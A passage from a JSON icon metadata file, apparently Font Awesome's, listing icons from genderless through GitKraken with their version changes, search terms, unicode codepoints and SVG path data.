        "path": "M116.7 33.8c4.5-6.1 11.7-9.8 19.3-9.8H376c7.6 0 14.8 3.6 19.3 9.8l112 152c6.8 9.2 6.1 21.9-1.5 30.4l-232 256c-4.5 5-11 7.9-17.8 7.9s-13.2-2.9-17.8-7.9l-232-256c-7.7-8.5-8.3-21.2-1.5-30.4l112-152zm38.5 39.8c-3.3 2.5-4.2 7-2.1 10.5l57.4 95.6L63.3 192c-4.1 .3-7.3 3.8-7.3 8s3.2 7.6 7.3 8l192 16c.4 0 .9 0 1.3 0l192-16c4.1-.3 7.3-3.8 7.3-8s-3.2-7.6-7.3-8L301.5 179.8l57.4-95.6c2.1-3.5 1.2-8.1-2.1-10.5s-7.9-2-10.7 1L256 172.2 165.9 74.6c-2.8-3-7.4-3.4-10.7-1z"
      },
      "regular": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M168.5 72L256 165l87.5-93h-175zM383.9 99.1L311.5 176h129L383.9 99.1zm50 124.9H256 78.1L256 420.3 433.9 224zM71.5 176h129L128.1 99.1 71.5 176zm434.3 40.1l-232 256c-4.5 5-11 7.9-17.8 7.9s-13.2-2.9-17.8-7.9l-232-256c-7.7-8.5-8.3-21.2-1.5-30.4l112-152c4.5-6.1 11.7-9.8 19.3-9.8H376c7.6 0 14.8 3.6 19.3 9.8l112 152c6.8 9.2 6.1 21.9-1.5 30.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M168.5 72L256 165l87.5-93h-175zM383.9 99.1L311.5 176h129L383.9 99.1zm50 124.9H256 78.1L256 420.3 433.9 224zM71.5 176h129L128.1 99.1 71.5 176zm434.3 40.1l-232 256c-4.5 5-11 7.9-17.8 7.9s-13.2-2.9-17.8-7.9l-232-256c-7.7-8.5-8.3-21.2-1.5-30.4l112-152c4.5-6.1 11.7-9.8 19.3-9.8H376c7.6 0 14.8 3.6 19.3 9.8l112 152c6.8 9.2 6.1 21.9-1.5 30.4z"
      }
    },
    "free": ["regular", "solid"]
  },
  "genderless": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f22d"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["androgynous", "asexual", "gender", "sexless"]
    },
    "styles": ["solid"],
    "unicode": "f22d",
    "label": "Genderless",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 144a112 112 0 1 1 0 224 112 112 0 1 1 0-224zm0 288a176 176 0 1 0 0-352 176 176 0 1 0 0 352z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 144a112 112 0 1 1 0 224 112 112 0 1 1 0-224zm0 288a176 176 0 1 0 0-352 176 176 0 1 0 0 352z"
      }
    },
    "free": ["solid"]
  },
  "get-pocket": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f265",
    "label": "Get Pocket",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M407.6 64h-367C18.5 64 0 82.5 0 104.6v135.2C0 364.5 99.7 464 224.2 464c124 0 223.8-99.5 223.8-224.2V104.6c0-22.4-17.7-40.6-40.4-40.6zm-162 268.5c-12.4 11.8-31.4 11.1-42.4 0C89.5 223.6 88.3 227.4 88.3 209.3c0-16.9 13.8-30.7 30.7-30.7 17 0 16.1 3.8 105.2 89.3 90.6-86.9 88.6-89.3 105.5-89.3 16.9 0 30.7 13.8 30.7 30.7 0 17.8-2.9 15.7-114.8 123.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M407.6 64h-367C18.5 64 0 82.5 0 104.6v135.2C0 364.5 99.7 464 224.2 464c124 0 223.8-99.5 223.8-224.2V104.6c0-22.4-17.7-40.6-40.4-40.6zm-162 268.5c-12.4 11.8-31.4 11.1-42.4 0C89.5 223.6 88.3 227.4 88.3 209.3c0-16.9 13.8-30.7 30.7-30.7 17 0 16.1 3.8 105.2 89.3 90.6-86.9 88.6-89.3 105.5-89.3 16.9 0 30.7 13.8 30.7 30.7 0 17.8-2.9 15.7-114.8 123.2z"
      }
    },
    "free": ["brands"]
  },
  "gg": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f260",
    "label": "GG Currency",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M179.2 230.4l102.4 102.4-102.4 102.4L0 256 179.2 76.8l44.8 44.8-25.6 25.6-19.2-19.2-128 128 128 128 51.5-51.5-77.1-76.5 25.6-25.6zM332.8 76.8L230.4 179.2l102.4 102.4 25.6-25.6-77.1-76.5 51.5-51.5 128 128-128 128-19.2-19.2-25.6 25.6 44.8 44.8L512 256 332.8 76.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M179.2 230.4l102.4 102.4-102.4 102.4L0 256 179.2 76.8l44.8 44.8-25.6 25.6-19.2-19.2-128 128 128 128 51.5-51.5-77.1-76.5 25.6-25.6zM332.8 76.8L230.4 179.2l102.4 102.4 25.6-25.6-77.1-76.5 51.5-51.5 128 128-128 128-19.2-19.2-25.6 25.6 44.8 44.8L512 256 332.8 76.8z"
      }
    },
    "free": ["brands"]
  },
  "gg-circle": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f261",
    "label": "GG Currency Circle",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M257 8C120 8 9 119 9 256s111 248 248 248 248-111 248-248S394 8 257 8zm-49.5 374.8L81.8 257.1l125.7-125.7 35.2 35.4-24.2 24.2-11.1-11.1-77.2 77.2 77.2 77.2 26.6-26.6-53.1-52.9 24.4-24.4 77.2 77.2-75 75.2zm99-2.2l-35.2-35.2 24.1-24.4 11.1 11.1 77.2-77.2-77.2-77.2-26.5 26.5 53.1 52.9-24.4 24.4-77.2-77.2 75-75L432.2 255 306.5 380.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M257 8C120 8 9 119 9 256s111 248 248 248 248-111 248-248S394 8 257 8zm-49.5 374.8L81.8 257.1l125.7-125.7 35.2 35.4-24.2 24.2-11.1-11.1-77.2 77.2 77.2 77.2 26.6-26.6-53.1-52.9 24.4-24.4 77.2 77.2-75 75.2zm99-2.2l-35.2-35.2 24.1-24.4 11.1 11.1 77.2-77.2-77.2-77.2-26.5 26.5 53.1 52.9-24.4 24.4-77.2-77.2 75-75L432.2 255 306.5 380.6z"
      }
    },
    "free": ["brands"]
  },
  "ghost": {
    "aliases": {
      "unicodes": {
        "composite": ["1f47b"],
        "secondary": ["10f6e2"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "apparition",
        "blinky",
        "clyde",
        "creature",
        "face",
        "fairy tale",
        "fantasy",
        "floating",
        "ghost",
        "halloween",
        "holiday",
        "inky",
        "monster",
        "pacman",
        "pinky",
        "spirit"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6e2",
    "label": "Ghost",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M40.1 467.1l-11.2 9c-3.2 2.5-7.1 3.9-11.1 3.9C8 480 0 472 0 462.2V192C0 86 86 0 192 0S384 86 384 192V462.2c0 9.8-8 17.8-17.8 17.8c-4 0-7.9-1.4-11.1-3.9l-11.2-9c-13.4-10.7-32.8-9-44.1 3.9L269.3 506c-3.3 3.8-8.2 6-13.3 6s-9.9-2.2-13.3-6l-26.6-30.5c-12.7-14.6-35.4-14.6-48.2 0L141.3 506c-3.3 3.8-8.2 6-13.3 6s-9.9-2.2-13.3-6L84.2 471c-11.3-12.9-30.7-14.6-44.1-3.9zM160 192a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm96 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M40.1 467.1l-11.2 9c-3.2 2.5-7.1 3.9-11.1 3.9C8 480 0 472 0 462.2V192C0 86 86 0 192 0S384 86 384 192V462.2c0 9.8-8 17.8-17.8 17.8c-4 0-7.9-1.4-11.1-3.9l-11.2-9c-13.4-10.7-32.8-9-44.1 3.9L269.3 506c-3.3 3.8-8.2 6-13.3 6s-9.9-2.2-13.3-6l-26.6-30.5c-12.7-14.6-35.4-14.6-48.2 0L141.3 506c-3.3 3.8-8.2 6-13.3 6s-9.9-2.2-13.3-6L84.2 471c-11.3-12.9-30.7-14.6-44.1-3.9zM160 192a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm96 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "gift": {
    "aliases": {
      "unicodes": {
        "composite": ["1f381"],
        "secondary": ["10f06b"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.0.9",
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "box",
        "celebration",
        "christmas",
        "generosity",
        "gift",
        "giving",
        "holiday",
        "party",
        "present",
        "wrapped",
        "wrapped gift",
        "xmas"
      ]
    },
    "styles": ["solid"],
    "unicode": "f06b",
    "label": "Gift",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M190.5 68.8L225.3 128H224 152c-22.1 0-40-17.9-40-40s17.9-40 40-40h2.2c14.9 0 28.8 7.9 36.3 20.8zM64 88c0 14.4 3.5 28 9.6 40H32c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H480c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H438.4c6.1-12 9.6-25.6 9.6-40c0-48.6-39.4-88-88-88h-2.2c-31.9 0-61.5 16.9-77.7 44.4L256 85.5l-24.1-41C215.7 16.9 186.1 0 154.2 0H152C103.4 0 64 39.4 64 88zm336 0c0 22.1-17.9 40-40 40H288h-1.3l34.8-59.2C329.1 55.9 342.9 48 357.8 48H360c22.1 0 40 17.9 40 40zM32 288V464c0 26.5 21.5 48 48 48H224V288H32zM288 512H432c26.5 0 48-21.5 48-48V288H288V512z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M190.5 68.8L225.3 128H224 152c-22.1 0-40-17.9-40-40s17.9-40 40-40h2.2c14.9 0 28.8 7.9 36.3 20.8zM64 88c0 14.4 3.5 28 9.6 40H32c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H480c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H438.4c6.1-12 9.6-25.6 9.6-40c0-48.6-39.4-88-88-88h-2.2c-31.9 0-61.5 16.9-77.7 44.4L256 85.5l-24.1-41C215.7 16.9 186.1 0 154.2 0H152C103.4 0 64 39.4 64 88zm336 0c0 22.1-17.9 40-40 40H288h-1.3l34.8-59.2C329.1 55.9 342.9 48 357.8 48H360c22.1 0 40 17.9 40 40zM32 288V464c0 26.5 21.5 48 48 48H224V288H32zM288 512H432c26.5 0 48-21.5 48-48V288H288V512z"
      }
    },
    "free": ["solid"]
  },
  "gifts": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f79c"]
      }
    },
    "changes": [
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "christmas",
        "generosity",
        "giving",
        "holiday",
        "party",
        "present",
        "wrapped",
        "xmas"
      ]
    },
    "styles": ["solid"],
    "unicode": "f79c",
    "label": "Gifts",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M200.6 32C205 19.5 198.5 5.8 186 1.4S159.8 3.5 155.4 16L144.7 46.2l-9.9-29.8C130.6 3.8 117-3 104.4 1.2S85 19 89.2 31.6l8.3 25-27.4-20c-10.7-7.8-25.7-5.4-33.5 5.3s-5.4 25.7 5.3 33.5L70.2 96H48C21.5 96 0 117.5 0 144V464c0 26.5 21.5 48 48 48H200.6c-5.4-9.4-8.6-20.3-8.6-32V256c0-29.9 20.5-55 48.2-62c1.8-31 17.1-58.2 40.1-76.1C271.7 104.7 256.9 96 240 96H217.8l28.3-20.6c10.7-7.8 13.1-22.8 5.3-33.5s-22.8-13.1-33.5-5.3L192.5 55.1 200.6 32zM363.5 185.5L393.1 224H344c-13.3 0-24-10.7-24-24c0-13.1 10.8-24 24.2-24c7.6 0 14.7 3.5 19.3 9.5zM272 200c0 8.4 1.4 16.5 4.1 24H272c-26.5 0-48 21.5-48 48v80H416V256h32v96H640V272c0-26.5-21.5-48-48-48h-4.1c2.7-7.5 4.1-15.6 4.1-24c0-39.9-32.5-72-72.2-72c-22.4 0-43.6 10.4-57.3 28.2L432 195.8l-30.5-39.6c-13.7-17.8-35-28.2-57.3-28.2c-39.7 0-72.2 32.1-72.2 72zM224 464c0 26.5 21.5 48 48 48H416V384H224v80zm224 48H592c26.5 0 48-21.5 48-48V384H448V512zm96-312c0 13.3-10.7 24-24 24H470.9l29.6-38.5c4.6-5.9 11.7-9.5 19.3-9.5c13.4 0 24.2 10.9 24.2 24z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M200.6 32C205 19.5 198.5 5.8 186 1.4S159.8 3.5 155.4 16L144.7 46.2l-9.9-29.8C130.6 3.8 117-3 104.4 1.2S85 19 89.2 31.6l8.3 25-27.4-20c-10.7-7.8-25.7-5.4-33.5 5.3s-5.4 25.7 5.3 33.5L70.2 96H48C21.5 96 0 117.5 0 144V464c0 26.5 21.5 48 48 48H200.6c-5.4-9.4-8.6-20.3-8.6-32V256c0-29.9 20.5-55 48.2-62c1.8-31 17.1-58.2 40.1-76.1C271.7 104.7 256.9 96 240 96H217.8l28.3-20.6c10.7-7.8 13.1-22.8 5.3-33.5s-22.8-13.1-33.5-5.3L192.5 55.1 200.6 32zM363.5 185.5L393.1 224H344c-13.3 0-24-10.7-24-24c0-13.1 10.8-24 24.2-24c7.6 0 14.7 3.5 19.3 9.5zM272 200c0 8.4 1.4 16.5 4.1 24H272c-26.5 0-48 21.5-48 48v80H416V256h32v96H640V272c0-26.5-21.5-48-48-48h-4.1c2.7-7.5 4.1-15.6 4.1-24c0-39.9-32.5-72-72.2-72c-22.4 0-43.6 10.4-57.3 28.2L432 195.8l-30.5-39.6c-13.7-17.8-35-28.2-57.3-28.2c-39.7 0-72.2 32.1-72.2 72zM224 464c0 26.5 21.5 48 48 48H416V384H224v80zm224 48H592c26.5 0 48-21.5 48-48V384H448V512zm96-312c0 13.3-10.7 24-24 24H470.9l29.6-38.5c4.6-5.9 11.7-9.5 19.3-9.5c13.4 0 24.2 10.9 24.2 24z"
      }
    },
    "free": ["solid"]
  },
  "git": {
    "changes": ["4.1.0", "5.0.0", "5.8.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1d3",
    "label": "Git",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M216.29 158.39H137C97 147.9 6.51 150.63 6.51 233.18c0 30.09 15 51.23 35 61-25.1 23-37 33.85-37 49.21 0 11 4.47 21.14 17.89 26.81C8.13 383.61 0 393.35 0 411.65c0 32.11 28.05 50.82 101.63 50.82 70.75 0 111.79-26.42 111.79-73.18 0-58.66-45.16-56.5-151.63-63l13.43-21.55c27.27 7.58 118.7 10 118.7-67.89 0-18.7-7.73-31.71-15-41.07l37.41-2.84zm-63.42 241.9c0 32.06-104.89 32.1-104.89 2.43 0-8.14 5.27-15 10.57-21.54 77.71 5.3 94.32 3.37 94.32 19.11zm-50.81-134.58c-52.8 0-50.46-71.16 1.2-71.16 49.54 0 50.82 71.16-1.2 71.16zm133.3 100.51v-32.1c26.75-3.66 27.24-2 27.24-11V203.61c0-8.5-2.05-7.38-27.24-16.26l4.47-32.92H324v168.71c0 6.51.4 7.32 6.51 8.14l20.73 2.84v32.1zm52.45-244.31c-23.17 0-36.59-13.43-36.59-36.61s13.42-35.77 36.59-35.77c23.58 0 37 12.62 37 35.77s-13.42 36.61-37 36.61zM512 350.46c-17.49 8.53-43.1 16.26-66.28 16.26-48.38 0-66.67-19.5-66.67-65.46V194.75c0-5.42 1.05-4.06-31.71-4.06V154.5c35.78-4.07 50-22 54.47-66.27h38.63c0 65.83-1.34 61.81 3.26 61.81H501v40.65h-60.56v97.15c0 6.92-4.92 51.41 60.57 26.84z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M216.29 158.39H137C97 147.9 6.51 150.63 6.51 233.18c0 30.09 15 51.23 35 61-25.1 23-37 33.85-37 49.21 0 11 4.47 21.14 17.89 26.81C8.13 383.61 0 393.35 0 411.65c0 32.11 28.05 50.82 101.63 50.82 70.75 0 111.79-26.42 111.79-73.18 0-58.66-45.16-56.5-151.63-63l13.43-21.55c27.27 7.58 118.7 10 118.7-67.89 0-18.7-7.73-31.71-15-41.07l37.41-2.84zm-63.42 241.9c0 32.06-104.89 32.1-104.89 2.43 0-8.14 5.27-15 10.57-21.54 77.71 5.3 94.32 3.37 94.32 19.11zm-50.81-134.58c-52.8 0-50.46-71.16 1.2-71.16 49.54 0 50.82 71.16-1.2 71.16zm133.3 100.51v-32.1c26.75-3.66 27.24-2 27.24-11V203.61c0-8.5-2.05-7.38-27.24-16.26l4.47-32.92H324v168.71c0 6.51.4 7.32 6.51 8.14l20.73 2.84v32.1zm52.45-244.31c-23.17 0-36.59-13.43-36.59-36.61s13.42-35.77 36.59-35.77c23.58 0 37 12.62 37 35.77s-13.42 36.61-37 36.61zM512 350.46c-17.49 8.53-43.1 16.26-66.28 16.26-48.38 0-66.67-19.5-66.67-65.46V194.75c0-5.42 1.05-4.06-31.71-4.06V154.5c35.78-4.07 50-22 54.47-66.27h38.63c0 65.83-1.34 61.81 3.26 61.81H501v40.65h-60.56v97.15c0 6.92-4.92 51.41 60.57 26.84z"
      }
    },
    "free": ["brands"]
  },
  "git-alt": {
    "changes": ["5.8.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f841",
    "label": "Git Alt",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"
      }
    },
    "free": ["brands"]
  },
  "github": {
    "changes": ["2.0.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["octocat"]
    },
    "styles": ["brands"],
    "unicode": "f09b",
    "label": "GitHub",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"
      }
    },
    "free": ["brands"]
  },
  "github-alt": {
    "changes": ["3.0.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["octocat"]
    },
    "styles": ["brands"],
    "unicode": "f113",
    "label": "Alternate GitHub",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 480 512\"><path d=\"M186.1 328.7c0 20.9-10.9 55.1-36.7 55.1s-36.7-34.2-36.7-55.1 10.9-55.1 36.7-55.1 36.7 34.2 36.7 55.1zM480 278.2c0 31.9-3.2 65.7-17.5 95-37.9 76.6-142.1 74.8-216.7 74.8-75.8 0-186.2 2.7-225.6-74.8-14.6-29-20.2-63.1-20.2-95 0-41.9 13.9-81.5 41.5-113.6-5.2-15.8-7.7-32.4-7.7-48.8 0-21.5 4.9-32.3 14.6-51.8 45.3 0 74.3 9 108.8 36 29-6.9 58.8-10 88.7-10 27 0 54.2 2.9 80.4 9.2 34-26.7 63-35.2 107.8-35.2 9.8 19.5 14.6 30.3 14.6 51.8 0 16.4-2.6 32.7-7.7 48.2 27.5 32.4 39 72.3 39 114.2zm-64.3 50.5c0-43.9-26.7-82.6-73.5-82.6-18.9 0-37 3.4-56 6-14.9 2.3-29.8 3.2-45.1 3.2-15.2 0-30.1-.9-45.1-3.2-18.7-2.6-37-6-56-6-46.8 0-73.5 38.7-73.5 82.6 0 87.8 80.4 101.3 150.4 101.3h48.2c70.3 0 150.6-13.4 150.6-101.3zm-82.6-55.1c-25.8 0-36.7 34.2-36.7 55.1s10.9 55.1 36.7 55.1 36.7-34.2 36.7-55.1-10.9-55.1-36.7-55.1z\"/></svg>",
        "viewBox": [0, 0, 480, 512],
        "width": 480,
        "height": 512,
        "path": "M186.1 328.7c0 20.9-10.9 55.1-36.7 55.1s-36.7-34.2-36.7-55.1 10.9-55.1 36.7-55.1 36.7 34.2 36.7 55.1zM480 278.2c0 31.9-3.2 65.7-17.5 95-37.9 76.6-142.1 74.8-216.7 74.8-75.8 0-186.2 2.7-225.6-74.8-14.6-29-20.2-63.1-20.2-95 0-41.9 13.9-81.5 41.5-113.6-5.2-15.8-7.7-32.4-7.7-48.8 0-21.5 4.9-32.3 14.6-51.8 45.3 0 74.3 9 108.8 36 29-6.9 58.8-10 88.7-10 27 0 54.2 2.9 80.4 9.2 34-26.7 63-35.2 107.8-35.2 9.8 19.5 14.6 30.3 14.6 51.8 0 16.4-2.6 32.7-7.7 48.2 27.5 32.4 39 72.3 39 114.2zm-64.3 50.5c0-43.9-26.7-82.6-73.5-82.6-18.9 0-37 3.4-56 6-14.9 2.3-29.8 3.2-45.1 3.2-15.2 0-30.1-.9-45.1-3.2-18.7-2.6-37-6-56-6-46.8 0-73.5 38.7-73.5 82.6 0 87.8 80.4 101.3 150.4 101.3h48.2c70.3 0 150.6-13.4 150.6-101.3zm-82.6-55.1c-25.8 0-36.7 34.2-36.7 55.1s10.9 55.1 36.7 55.1 36.7-34.2 36.7-55.1-10.9-55.1-36.7-55.1z"
      }
    },
    "free": ["brands"]
  },
  "gitkraken": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3a6",
    "label": "GitKraken",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
